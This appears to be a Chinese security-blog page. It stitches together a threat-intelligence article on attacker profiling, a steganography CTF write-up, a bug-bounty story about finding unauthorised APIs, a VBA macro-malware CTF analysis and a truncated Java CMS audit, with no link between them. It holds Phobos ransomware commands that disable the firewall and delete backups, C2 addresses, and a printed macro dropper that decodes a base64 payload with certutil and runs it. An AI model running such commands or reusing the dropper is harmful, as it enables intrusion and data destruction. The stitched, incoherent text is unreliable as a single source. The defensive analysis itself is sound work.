安全脉搏

写在最前面： 这是顺丰“威胁情报作战三部曲”的第一篇，三篇分别是：攻击者画像、情报拓线和威胁狩猎。 我们的心愿，就是把顺丰使用威胁情报的经验掰开了、揉碎了、明明白白写出来，希望对屏幕前每一个你都能有所帮助，哪怕只有一点点。      

那么，正题，开始！

►►►

从挨批到挨夸，我只用了一个动作

嗨，还是我，顺丰的安全研究员K，今天又在网络安全的海洋里“冲浪”，结果被三条告警的“浪”拍得晕头转向：这三条告警彼此简直毫不相干，可是看着间隔时间，又让我本能地觉得此事并不简单。

我对着屏幕一脸懵逼，心想：“这告警，比女朋友的心思还难猜。”就在我已经做好挨老板一顿痛批的心理准备时，突然灵光一闪：“等等，我们不是有      攻击者画像工具吗？” 我赶紧打开它，像抓住了救命稻草。  

没想到，这个工具关键时候还真能救命。      我输入告警信息，几秒钟的时间它便把三条告警串联起来，指向了同一个攻击团伙。

原来，我离真相只差一个“攻击者画像”的距离！好家伙，今天又有东西可以跟老板吹了：

“看，我用攻击者画像，逮到了一个攻击团伙！”

►►►

攻击者画像介绍

攻击者画像，就像是给网络攻击者画的一张“肖像画”，它站在高维度的攻击者视角，通过分析攻击者的行为模式、使用的技术和工具、攻击的目标和频率等信息，每天从数千万的攻击告警中提炼有效信息，最终构建出一份关于攻击者的详细“档案”。

具体来说，攻击者画像可能包含以下几个方面的内容：

1. 身份：这可能包括攻击者的个人或组织背景，比如他们是攻击队？白帽？黑灰产还是APT组织？等等。
2. 动机：他们是想窃取机密，还是进行黑产活动？或者是想恶意报复？
3. 行为特征：这涉及到攻击者在网络中的行为模式，比如他们通常选择在什么时间发动攻击，偏好哪种类型的攻击手段等。
4. 技术水平：这可以揭示攻击者的技术能力，比如他们的漏洞利用或者对恶意软件“魔改”的能力如何等。
5. 历史攻击记录：通过分析过去的攻击事件了解攻击者的历史行为，预测他们未来可能的行动，如他们是广撒网式攻击还是针对性攻击、此前是否攻击过同行业企业等。

►►►

为什么需要攻击者画像？              

那么为什么需要用到攻击者画像这个工具呢？

搞安全的人都知道，攻击容易防守难。你每天辛辛苦苦封IP，对面换个IP就完事了，等下又来打你。当你挨打的时候，你也不知道对方是谁，也不知道对方想干嘛，更不知道对方是不是发现了什么突破口，可以一直打你…… 但是，我们已经可以不用一直被动挨打了，用好“攻击者画像”，我们可以知道攻击者的大致身份和攻击动机，理解攻击者的思维方式，从而对攻击者形成真正TTP级别的有效损害。 展开来说，“攻击者画像”能给我等安全人员帮上这些大忙：

1. 更好地理解潜在威胁。包括识别出攻击者的攻击手法、武器库、攻击者具体身份、以及攻击的真实意图。
2. 优化安全策略。安全策略大部分为安全团队根据经验制定的，缺乏体系化、针对性的策略沉淀。通过攻击者画像的构建，我们可以了解攻击者的特点，掌握不同类型攻击者所使用的不同攻击手法，以此来制定更为精准的安全策略，提高安全性。
3. 提前预测未来威胁。通过分析攻击者的动态趋势，预测之后可能会有哪些类型的关键信息资产，遭遇何种危害的攻击方法，提前采取预防性措施来减少潜在风险。
4. 优化资源分配。当了解了攻击者的身份和动机后，有助于我们更好地制定针对性的安全策略、分配安全资源应对。

►►►

建立攻击者画像的步骤              

（一）同源识别聚类，构建攻击者准确画像知识库

攻击者画像系统基于大量的告警日志、原始审计日志、情报等IOC数据与外网攻击、恶意邮件、端点恶意样本等样本数据，借助同源识别聚类算法、攻击者身份识别、特征分析和攻击关系图分析等，关联相同特征和相似攻击行为，最终形成独立的攻击者画像信息，达到攻击者身份、攻击者意图、攻击能力和相关手法的全面刻画。

（图1 攻击者画像系统分析流程）

（二）动态制定针对性防御措施

根据攻击者画像知识库研判    攻击者的意图、攻击趋势以及活动规律，动态地制定针对性防御措施。

（图2 某攻击者的画像研判结果）

（三）利用第三方信息增补攻击者画像知识库

企业的攻击视野较为有限，各个攻击团伙在某个单位暴露的手法只是冰山上的一角，      如果只从企业防御数据出发，攻击者画像得到的知识库，难免以偏概全。因此我们主动利用第三方信息库增补攻击者画像知识库，与微步在线等外部安全情报厂商合作，持续不断对强相关对手进行：

• 攻击信息富化-关联通讯样本、漏洞利用、木马链接、历史解析记录等；
• 攻击特征分析-攻击链、工具库、资产库、相关样本、攻击点、技战术分析等。

整合内外部情报源后，攻击者画像的刻画更加深入，全面增强了防守方的对手认知，如下图：

组织名(持续追踪) Phobos 常用文件名 加密文件后缀:



              .phobos



              .Frendi



              .phoenix



              .mamba



              .adage



              .acute



              .1500dollars



              .Acton



              .actor



              .banjo



              .help



              .actin



              .BANKS



              .HorseLiker



              .barak



              .WannaCry



              .caleb



              .calix



              .deal



              .Devos



              .eking 加密进程常用名 fast.exe



              COMING~1.exe



              comingback2022.exe 工具文件常用名 oute



            print.cmd



              psexec



              mRemoteNC.exe



              netscanold.exe



              NS-v2.EXE 常用目录 1.自启动:



              C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup



              C:\Users\System\AppData\Roaming\Microsoft\Windows\Start



            Menu\Programs\Startup



              



              C:\users\Public\ 网络行为 C2:



              218.28.17.250



              118.242.18.199



              89.248.165.41



              58.48.195.138



              117.184.37.20



              109.107.166.25



              125.33.95.33 攻击手法 1.RDP爆破



              2.psexec内网尝试弱口令横向移动



              3.修改注册表实现恶意文件驻留



              4.拷贝文件到自启动目录实现驻留



              5.文件加密:RSA+AES



            



            <原文件名>+<原文件后缀名>+<勒索信中的个人ID>+<联系邮箱>+<.deal>



              6.向日葵或其他方式 常用命令 1.关闭防火墙:



              netsh advfirewall set currentprofile state off



              netsh firewall set opmode mode=disable



              2.删除windows备份



              "C:\Windows\system32\wbadmin.msc"delete catalog -quiet 注册表更改 添加恶意键值到自启动相关注册表下:  



              HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run



              HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 背景 Phobos勒索软件家族从2019年初期开始在全球流行，并持续更新以致出现了大量变种。通过RDP暴力破解和钓鱼邮件等方式扩散到企业与个人用户中，感染数量持续增长。



            



            Phobos勒索软件家族与2016年出现的CrySIS/Dharma勒索软件家族所使用的加密方式、部分代码段、勒索信外观与内容，以及用于加密文件的命名方式都较为相似。不排除为同一作者或Phobos勒索软件攻击者购买、利用CrySIS/Dharma勒索软件相关代码。 样本hash 9704a4959ec0edb5b82732944be3665e80ed974dec17ab401545ee21069da08d



              f47e3555461472f23ab4766e4d5b6f6fd260e335a6abc31b860e569a720a5446 参考链接 1.https://www.antiy.cn/research/notice&report/research_report/20191016.html



            



            2.https://s.threatbook.com/report/file/9704a4959ec0edb5b82732944be3665e80ed974dec17ab401545ee21069da08d



              3.https://s.threatbook.com/report/file/f47e3555461472f23ab4766e4d5b6f6fd260e335a6abc31b860e569a720a5446

（图3 攻击者知识库中某攻击者档案）

►►►

接下来我们举个栗子！              

常见安全对抗与防御仅限于发生攻击时如何去防御，但攻击者画像就是在攻防对立间寻找突破。

用一个示例为准，这是一个很常见的命令执行攻击，常见安全设备都可以拦截。

我们可以将这次攻击分为几个内容：

1. 请求方式

2. payload内信息

3. 来源信息

根据请求/cgi-bin/luci/;stok=/locale?form=country，可以发现此请求非常规url请求。了解详情后推断是CVE-2023-27359相关漏洞，漏洞详情是针对TP-Link AX1800未经身份验证的命令注入漏洞。简单来讲就是位于/cgi-bin/luci;stok=/locale下country 参数使用了对popen()的调用导致可以执行任意命令，目前来看国内针对此类漏洞利用详情甚少。很有可能此次攻击属于1day或者0day范畴。 接着看执行关键payload信息103.146.23.249。攻击者的资源站点信息。

来源IP：31.220.1.83就不用讲了，针对常见蓝队防御手段来讲，基本上就是针对IP查询下社区情报然后进行封堵即可。

当前攻击者利用1day进行全网扫描植入木马后门，当前访问IP又被情报标红，如果攻击者换一个IP再来只会导致重复性工作激增。 But，现在我们有“攻击者画像”在手，因此我们可以把这个思路变成系统化操作： 比如，根据关键Payload信息特征来汇聚同类型攻击者；

同时，还可以产生本地情报输出给相关同事进行后续狩猎。详情思路如图，通过事件驱动转换以攻击者身份持续运营立体发现实际遭遇威胁，配合拓线和狩猎持续完善攻击者相关信息形成情报产生到消费的完整闭环。

这个思路变成系统化后，如果你碰到过喜欢用代理池慢速绕过一些安全设备阈值来挖洞的红队，此操作大可一试。

同时根据资源点信息103.146.23.249查询可以发现已经有相关样本信息了，我们可以将此类样本hash一并提供给内部排查是否存在此类样本。      （样本相关信息也可以进行相关拓线发现其他新的信息，欲知后事如何，且看下篇文章分解）

综上所述，我们还可以针对此攻击者意图进行推理分析结果：

攻击者
画像概况
特点 描述 类型 黑灰产 意图 投机主义、1day利用 特征 URL包含103.146.23.249并执行wget信息 目的 通过IOT的1day部署僵尸网络 手法 利用各种IOT设备的1day进行全网攻击 有了攻击者画像系统以后，我们就可以主动运营识别出多只高水平攻击队针对业务系统的定点攻击，现场指挥人员可以针对性调度对应的高水平防守人员进行渗透测试、主动排查风险，WAF/RASP设备责任人员也能主动查询设备覆盖情况和防御能力，防患于未然。

这道题比较有意思，而且因为我对misc并不是很熟悉，发现该题目将flag隐藏在图片的颜色属性，巧妙的跟踪到这些密文位置，拿下题目一血，还是很有参考学习意义的。（题目附件，加V：dctintin）

1、图片RGB隐写

赛后去查阅了相关资料，发现该题采用了RGB隐写，特此总结一下，帮助读者理解。

lsb 隐写题在 ctf 中也经常考到，LSB即为最低有效位，我们知道，图片中的图像像素一般是由 RGB三原色（红绿蓝）组成，每一种颜色占用 8 位，取值范围为 0x00~0xFF，即有256 种颜色，一共包含了 256 的 3 次方的颜色，即 16777216种颜色。而人类的眼睛可以区分约 1000万种不同的颜色，这就意味着人类的眼睛无法区分余下的颜色大约有 6777216种。

LSB 隐写就是修改 RGB颜色分量的最低二进制位也就是最低有效位（LSB），而人类的眼睛不会注意到这前后的变化，每个像数可以携带3 比特的信息。

上图我们可以看到，十进制的 235表示的是绿色，我们修改了在二进制中的最低位，但是颜色看起来依旧没有变化。我们就可以修改最低位中的信息，实现信息的隐写

本题属于修改RGB的最后一个位，一共可以隐藏三个位，RGB（三原色）

R：隐藏最高位

G：隐藏最高位

B：隐藏最高位

2、实战 2.1 初识

题目给了一个ELF文件和一个png图片，猜测会对png进行解密操作

很明显要么加密了图片，要么隐藏了数据

2.2 IDA 深入分析

我们先对整个题目流程做一定的理解，然后讨论解题思路

首先，自己搭建远程调试环境（比较简单，不在详细说明）

注意：要将题目提供的图片拖进dbgserv文件夹

分析main函数

发现代码可以分为三部分：

1、读取png图片内容和输入秘钥

2、对png的RGB进行操作隐藏输入的秘钥

3、关闭流环境

我们可以这样理解，出题人会将flag作为输入的秘钥，经过程序操作隐藏在png的RGB中。

当然我们并不知道秘钥，但是可以构造一个假的flag，将其输入。此时我们可以看到程序将输入隐藏在png的哪些位置

获得了这些位置之后（隐藏的是真正flag的组成位）就可以单独把这些隐藏的位拼接出来

0123456789abcdefghijklmnopqrstuv

从而得到flag

2.3 解题

printf("Usage: %s [infile] [outfile]\n", *a2);

./cvhider pic_hide.png pic_hix.png

运行程序会提示输入：

分析part_flag_2

read_png会返回加密数据存储的位置，我们直接复制，然后组成即可

所以我们先解密part1

lis1=[
   0xFF, 0xFF, 0xFF, 0xFE, 0xFE, 0xFF, 0xFE, 0xFE, 0xFE,
   0xFF, 0xFF, 0xFF, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00,
   0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01,
   0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00,
   0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00,
   0x01, 0x00, 0x00, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01,
   0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01,
   0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01,
   0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01,
   0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01,
   0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00,
   0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00,
   0x00, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00,
   0x00, 0x00, 0xFE, 0x00, 0x00, 0xFE, 0x00, 0x00, 0xFE, 0x00,
   0x00, 0x00, 0x00, 0x00, 0xFE, 0x00, 0x00, 0xFE, 0x00, 0x00,
   0x00, 0x00, 0xFE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
   0x00, 0x00, 0x00, 0x00, 0xFE, 0x00, 0x00, 0x00, 0x00, 0x00,
   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, ]
for i in range(len(lis1)//8):

   for j in range(8):
       print(lis1[i*8+j] & 0x1, end="")
   print("", end=",")

生成

11100100,01110101,00000011,10111001,00001100,01110011,01001011,01100110,00101001,10100110,11001000,11001110,11101011,11110011,11111100,11010101,00000000,00000000,00000000,00000000,00000000,00000000,

拿到第一部分的flag

fa{9b1d692a3ae28

然后用同样的方法解密part2，注意part2密文长度为 32 字节

lis1=[
   0xFF, 0xFF, 0xFE, 0xFF, 0xFE, 0xFE, 0xFE, 0xFE, 0xFE, 0xFE,
   0xFF, 0xFF, 0xFE, 0xFE, 0xFF, 0xFE, 0xFF, 0xFF, 0xFF, 0xFF,
   0xFE, 0xFF, 0xFF, 0xFE, 0xFE, 0xFF, 0xFF, 0xFE, 0xFE, 0xFF,
   0xFE, 0xFE, 0xFE, 0xFE, 0xFF, 0xFE, 0xFE, 0xFF, 0xFF, 0xFF,
   0xFF, 0xFE, 0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0xFE,
   0xFF, 0xFE, 0xFE, 0xFF, 0xFF, 0xFE, 0xFF, 0xFE, 0xFF, 0xFE,
   0xFE, 0xFF, 0xFE, 0xFF, 0xFF, 0xFF, 0xFE, 0xFE, 0xFE, 0xFF,
   0xFE, 0xFE, 0xFF, 0xFE, 0xFE, 0xFF, 0xFE, 0xFE, 0xFF, 0xFE,
   0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE,
   0xFF, 0xFE, 0xFE, 0xFE, 0xFE, 0xFF, 0xFE, 0xFF, 0xFE, 0xFE,
   0xFE, 0xFF, 0xFE, 0xFF, 0xFE, 0xFF, 0xFF, 0xFF, 0xFE, 0xFF,
   0xFF, 0xFF, 0xFF, 0xFE, 0xFE, 0xFF, 0xFE, 0xFF, 0xFE, 0xFF,
   0xFF, 0xFF, 0xFE, 0xFE, 0xFF, 0xFF, 0xFF, 0xFE, 0xFF, 0xFE,
   0xFE, 0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0xFF, 0xFE, 0xFE,
   0xFF, 0xFE, 0xFE, 0xFE, 0xFE, 0xFE, 0xFF, 0xFE, 0xFE, 0xFE,
   0xFE, 0xFF, 0xFE, 0xFE, 0xFE, 0xFE, 0xFF, 0xFE, 0xFF, 0xFE,
   0xFE, 0xFE, 0xFE, 0xFF, 0xFE, 0xFE, 0xFF, 0xFF, 0xFE, 0xFE,
   0xFE, 0xFE, 0xFE, 0xFF, 0xFE, 0xFE, 0xFE, 0xFE, 0xFE, 0xFF,
   0xFE, 0xFE, 0xFE, 0xFF, 0xFF, 0xFF, 0xFE, 0xFE, 0xFE, 0xFF,
   0xFE, 0xFF, 0xFE, 0xFE, 0xFF, 0xFF, 0xFE, 0xFF, 0xFE, 0xFE,
   0xFE, 0xFE, 0xFF, 0xFF, 0xFF, 0xFE, 0xFF, 0xFE, 0xFE, 0xFF,
   0xFE, 0xFE, 0xFF, 0xFF, 0xFE, 0xFE, 0xFF, 0xFE, 0xFE, 0xFF,
   0xFF, 0xFE, 0xFF, 0xFE, 0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE,
   0xFE, 0xFE, 0xFF, 0xFE, 0xFF, 0xFE, 0xFF, 0xFF, 0xFE, 0xFF,
   0xFE, 0xFF, 0xFE, 0xFF, 0xFE, 0xFF, 0xFF, 0xFF, 0xFE, 0xFF,
   0xFE, 0xFF, 0xFE, 0xFF, 0xFE, 0xFF, 0xFE, 0xFE, 0xFF, 0xFF,
   0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
   0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
   0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
   0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
   0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
   0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
   0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
   0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
   0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
   0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
   0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
   0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,
   0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
   0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
   0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,
   0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
   0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
   0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,
   0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
   0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
   0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,
   0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
   0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
   0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,
   0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
   0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
   0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,
   0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
   0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
   0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,
   0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
   0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
   0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,
   0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
   0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
   0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,
   0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
   0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
   0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,
   0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
   0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
   0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,
   0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
   0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
   0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,
   0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
   0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
   0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
   0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,
   0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
   0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
   0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,
   0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
   0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
   0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,
   0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
   0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
   0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, ]
for i in range(len(lis1)//8):
   for j in range(8):
       print(lis1[i*8+j] & 0x1, end="")
   print("", end=",")

所以flag是两部分相组合

flag{89ab917de6c9021ab34ade7248}

  

小白的众测高危：

记先前某次众测，经过资产梳理，发现所有站点全部都挂了WAF，作为一名不钓鱼的挖洞小白，我估计这次又要空军。

小白生于天地之间，岂能郁郁难挖高危？

想要在挂了WAF的站点挖出高危，很难，因为这些站点，你但凡鼠标点快点，检测出了不正确动作都要给你禁IP，至于WAF绕过对于小白更是难搞。其实在众测，大部分漏洞都并非那些什么SQL注入RCE等等，而小白想要出高危，可能也只有寄托希望于未授权。

未授权接口怎么找：

有一种站点，在URL内含有#符号，这种站点的路径接口信息泄露较多，更容易出未授权。

但要注意一点，#后面的东西是不会走服务器的，所以这里如果在findsomething找到了很多东西，拼接的时候带不带#号呢？

这就要区分路由和接口了，如果看着像是路由，在这种原本就有#符号站点，就带上#符号。如果是接口，接口一般是用来进行数据交互的，所以需要走服务器，那就不能拼接#符号。

区分上述后就可以将拿到的东西以POST请求，GET请求都跑一遍，再看是否存在能用的接口，再根据接口返回情况看是否需要添加参数。

这里又是涉及一个很麻烦的点，那就是遇到接口能用，找到参数了，但参数的格式不知道，我这次讲的这个高危就遇到了这种情况，差点错过！

在将现有js里面的接口跑完后还需要注意找js里面的js里面的接口。

这里有两种常见情况：

一、js.map泄露

大多webpack打包的站点会有js.map文件，那js.map文件怎么利用呢？

首先需要下载下来：

如上图，右键检查后，在网络处找.js文件，再点击它，在右方找到js文件的路径，并在结尾加上.map访问即可下载。

之后再由reverse-sourcemap工具还原js.map文件，再由vscode等工具打开，进行接口关键字搜查。

二、大量chunk类型js泄露：

如图：

我们如果在数据包或者js文件看到这种格式内容，就可以考虑进一步利用。

首先将所有内容复制出来，再用notepad++打开：

如图进行替换成符合burp里面chunk文件的格式，再放到burp里面跑一遍，配合HAE插件可以提取更加全面的接口信息。

小白找的高危未授权接口：

我也是通过上述方法找到接口后放到burp里面跑，（跑的时候记得加参数），例如接口中有类似id=，url=，wid=等等最好自己加个参数上去。

但就是因为不知道参数类型，我险些错过这个高危漏洞。

如上图第一个接口，因为参数不正确跑出来跟其它接口一个样，不过还好我留意了一下，并且运气好，随手拼的参数居然正确了，直接下载了敏感文件，造成用户全家姓名，电话，住址，工作公司，***等等信息全部泄露。（所以这里注意：对有参数的接口即使一次没跑出信息，也要考虑是否需要对参数进行FUZZ）

并且id参数可遍历，形成大范围用户泄露，高危漏洞到手。

  

该题目贴合实际，在实战中经常遇到此类宏病毒。

将Office文档中嵌入以VBA(Visual Basic forApplications)编写的宏代码脚本，当运行Office文档时，便可以执行各种命令。

VBA脚本文件重定向能够将脚本默认文件vbaProject.bin进行替换，在打开文本时加载其他文件，增加分析者的分析复杂程度。

1、初步分析

在 Office 2007 之后的 Office 文档格式采用的是 OOXML 标准格式。那什么是OOXML 标准？这里的 OOXML 的全称是 Office Open XML File Formats或被称为 OpenXML 格式，这是一个基于 zip+xml定义的文档格式。简单的说就是Office文档是一些xml文档压缩文件，因此我们将一个word文档进行zip解压，可以获得一些xml文件

打开发现是一堆乱码，此时就需要借助大佬们的工具了。

2、oletools

oletools对该文件进行分析，oletools将宏源码完整的还原了出来。

官网：https://github.com/decalage2/oletools/releases

这里采用pip安装模式

pip install -U oletools

运行命令

olevba -c protected_secret.docm > code.vbs

3、分析vbs代码

直接搜索：AutoOpen

里面有太多垃圾代码了

首先将输入的flag异或7

有点意思了，解码exe的base64编码，然后运行exe执行操作，最后再删除exe程序

4、运行Vbs得到exe

将重要的代码拿出来，然后生成exe

Set fso = CreateObject("Scripting.FileSystemObject")
Set objShell = CreateObject("WScript.Shell")

/*
省略了一大堆 base64赋值串
*/

tempPath = "D:\temp11\temp"
Set tempfile = fso.CreateTextFile(tempPath, True)
fso.GetFile(tempPath).Attributes = 2
tempfile.WriteLine xpkdb
tempfile.Close

batPath = "D:\temp11\temp.bat"
Set batFile = fso.CreateTextFile(batPath, True)
fso.GetFile(batPath).Attributes = 2
batFile.WriteLine "@echo off"
batFile.WriteLine "certutil -decode temp1 temp|certutil -decode temp temp.exe"
batFile.Close
Set objExec = objShell.Exec(batPath)

保存为vbs运行，但是我电脑有点小问题没跑运行起来

因此我们采取另一种方法，直接将base64提取出来

代码很简单，将提取出来的代码放进Cyberchef进行提取即可

download.exe

5、分析exe

很简单的代码，就是位移

6、解密 v9 = [0]*54
v9[0] = 4288
v9[1] = 4480
v9[2] = 5376
v9[3] = 4352
v9[4] = 5312
v9[5] = 4160
v9[6] = 7936
v9[7] = 5184
v9[8] = 6464
v9[9] = 6528
v9[10] = 5632
v9[11] = 3456
v9[12] = 7424
v9[13] = 5632
v9[14] = 6336
v9[15] = 6528
v9[16] = 6720
v9[17] = 6144
v9[18] = 6272
v9[19] = 7488
v9[20] = 6656
v9[21] = 7296
v9[22] = 7424
v9[23] = 2432
v9[24] = 2432
v9[25] = 2432
v9[26] = 5632
v9[27] = 4416
v9[28] = 3456
v9[29] = 7168
v9[30] = 6528
v9[31] = 7488
v9[32] = 6272
v9[33] = 5632
v9[34] = 3520
v9[35] = 6208
v9[36] = 5632
v9[37] = 4736
v9[38] = 6528
v9[39] = 6400
v9[40] = 7488
v9[41] = 3520
v9[42] = 5632
v9[43] = 5184
v9[44] = 3456
v9[45] = 7488
v9[46] = 7296
v9[47] = 3200
v9[48] = 6272
v9[49] = 7424
v9[50] = 2432
v9[51] = 2432
v9[52] = 2432
v9[53] = 7808

flag = ''
for i in range(54):
   flag += chr(v9[i] >> 6 ^ 7)

print(flag)

最近在审计java的CMS，跟着文章进行nday审计，找准目标newbee-mall Version1.0.0（新蜂商城系统），并跟着网上文章进行审计：

https://blog.csdn.net/m0_46317063/article/details/131538307

下载唯一的版本，且源码README中版本也对的上，但没想到nday全部复现失败，但在一番审计后找到了一个新的漏洞点：ssrf，且在前台可以被用户触发。

失败的man与nday：

失败的sql注入漏洞：

（此漏洞原本可以在前台与后台进行sql注入攻击）

分析文章中有两sql注入漏洞，是由于引入mybatis依赖导致，但在我下的版本中根据关键字符${找不到任何的注入点，经过与分析文章对比发现所有注入点全部由${改成了#{由此完成修复。

失败的权限绕过：

（此漏洞原本可以在admin登录后台通过/;/admin/test完成权限绕过）

复现文章写到以request.getRequestURI()获取路径获取路径后再进入if判断：

但我下载的版本进行了修复：将获取前端传输的路径方法改为了：getServletPath()从而完成修复。

两种方法的不同具体分析可以参考如下文章：

https://forum.butian.net/share/3730

失败的越权漏洞：

（此漏洞原本可以根据传入的id参数越权修改他人信息。）

定位到具体代码：

此处代码与复现文章一样，都是先创建一个NewBeeMallUserVO对象，再通过是否为空判断信息修改是否成功。

真正修改信息的代码在updateUserInfo方法里面，于是跟进该方法实现处：

发现跟到了接口，于是我们继续跟进，找该接口的实现类：

跟进到如下类，找到具体实现的代码块：

